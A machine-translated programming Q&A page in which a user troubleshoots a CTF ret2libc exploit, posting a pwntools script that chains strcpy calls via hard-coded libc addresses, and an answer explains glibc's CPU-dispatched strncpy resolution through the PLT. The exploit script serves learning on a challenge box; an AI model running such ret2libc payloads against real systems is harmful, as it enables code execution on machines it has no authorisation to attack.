2016-09-19 3 views
0

ret2libcを使用する必要がある場合にCTFの問題を解決しようとしています。問題は、後で使用するためにstrcpyを使用してバッファ内にテキストを挿入しようとすると、動作しないように見えるということです。 チャレンジボックスはまだ "ulimit -s unlimited"に弱いので、libcアドレスを修正できます。ここに私の現在のPythonのコードは次のとおりです。ret2libc strcpyが動作しない

from pwn import * 

def r2lc_print(write_buff,read_buff): 
    strcpy_addr=0x55607a40 
    pop2ret=0x55643876 
    return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff) 

buffer_size=172 
execlp_addr=0x55643970 

c00_str_addr=0x55575d37 
a00_str_addr=0x55575d5e 
t00_str_addr=0x55575440 
write_buff=0x55576858 

print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4 

私はgdbの内側に "Pのstrcpyの" を発行してstrcpyのアドレスを得ました。

命令または呼び出しのいずれも任意のデータ移動を行うような問題は、strcpyのは完全ではないようであることである:

0x55608320 <strncpy>:  push ebx 
    0x55608321 <strncpy+1>:  call 0x556b5c63 
    0x55608326 <strncpy+6>:  add ebx,0x127cce 
    0x5560832c <strncpy+12>:  cmp DWORD PTR [ebx+0x368c],0x0 
    0x55608333 <strncpy+19>:  jne 0x5560833a <strncpy+26> 
    0x55608335 <strncpy+21>:  call 0x555a48b0 
    0x5560833a <strncpy+26>:  lea eax,[ebx-0x120e54] 
    0x55608340 <strncpy+32>:  test DWORD PTR [ebx+0x36a0],0x4000000 
    0x5560834a <strncpy+42>:  je  0x55608370 <strncpy+80> 
    0x5560834c <strncpy+44>:  lea eax,[ebx-0x117f14] 
    0x55608352 <strncpy+50>:  test DWORD PTR [ebx+0x36bc],0x10 
    0x5560835c <strncpy+60>:  jne 0x55608370 <strncpy+80> 
    0x5560835e <strncpy+62>:  test DWORD PTR [ebx+0x369c],0x200 
    0x55608368 <strncpy+72>:  je  0x55608370 <strncpy+80> 
    0x5560836a <strncpy+74>:  lea eax,[ebx-0x11f554] 
    0x55608370 <strncpy+80>:  pop ebx 
    0x55608371 <strncpy+81>:  ret 
+0

シンボル名を取得するには 'objdump -drw -Mintel/lib/i386-linux-gnu/libc-2.21.so'を見てください。残念ながら、このケースではそれほど手掛かりではないようですが、SSE2バージョンなどにディスパッチするようなものはありません。これらのCALLを一歩踏み込んで、どのコードがあるのか​​を確認しましたか?また、strcpyではなく、strNcpyを見ていることを知っていますか? –

答えて

0

私はあなたがたglibcのstrncpyシンボルで見ているコードがないと思います遅い動的リンク中にランタイムCPUをディスパッチする。それはsysdeps/i386/i686/multiarch/strcpy.Sのasmのように見えます。このファイルはSTRCPYマクロがstrcpy、strncpyなどに定義された状態で、他のファイルに#includeを使用して複数回構築されます。

私は、使用すべきstr [n] cpyのバージョンの関数ポインタを返すだけで、それを呼び出す動的リンカコードはそのポインタをPLTに格納して呼び出していると思います。


あなたが二回はstrncpyを呼び出す小さなCプログラムをコンパイルする場合は、2番目のコールと怠惰な動的リンクへのシングルステップがすでに行われますことができます。

#include <string.h> 
int main(int argc, char**argv) { 
     strncpy(argv[0], argv[1], 5); 
     strncpy(argv[1], argv[2], 5); 
} 

gcc -m32 -Og foo.c -gでコンパイルします。

Ubuntu 15.10のlibc-2.21.0.soでは、gdbによると、PLTジャンプはシンボルの外にある関数を使用します。 (私はTUIレジスタとASMの "窓" を得るために、私~/.gdbinitset disassembly-flavor intellayout regを置く。)

>|0xf7e68fa0  push ebx       | 
    |0xf7e68fa1  mov edx,DWORD PTR [esp+0x8]  | 
    |0xf7e68fa5  mov ecx,DWORD PTR [esp+0xc]  | 
    |0xf7e68fa9  mov ebx,DWORD PTR [esp+0x10]  | 
    |0xf7e68fad  cmp ebx,0x8      | 
    |0xf7e68fb0  jbe 0xf7e6ba40     | 
    |0xf7e68fb6  cmp BYTE PTR [ecx],0x0   | 
    |0xf7e68fb9  je  0xf7e6aef0     | 
    |0xf7e68fbf  cmp BYTE PTR [ecx+0x1],0x0  | 
    |0xf7e68fc3  je  0xf7e6af10     | 

...結局movaps/pcmpeqb/pmovmskbループ。この関数は実際のstrncpy実装であり、他のものにはディスパッチしません。

+0

この豊かな答えに感謝します。あなたの簡単な例では、最終的にpltがどのように実際に動作するかを理解するために必要なものを私にくれました。この誤解を受けて、私はROPアプローチに行き、CTFチャレンジを完了しました。 もう1つの質問ですが、元のバイナリで使用されている関数を呼び出すときにのみこのCPUディスパッチ処理が行われますか?私はgdbの "info function execlp"が私に与えたアドレスから直接execlpを呼び出すことができたので、これを求めています。 最終的な悪用コードは次のとおりです。http://pastebin.com/wF7my9w7 – bananabr

+1

@bananabr:CPUディスパッチは、機能のSSE2/SSSE3/SSE4バージョンが異なる場合にのみ使用されます。これはexeclpでは役に立ちませんが、文字列関数には便利です。 –

関連する問題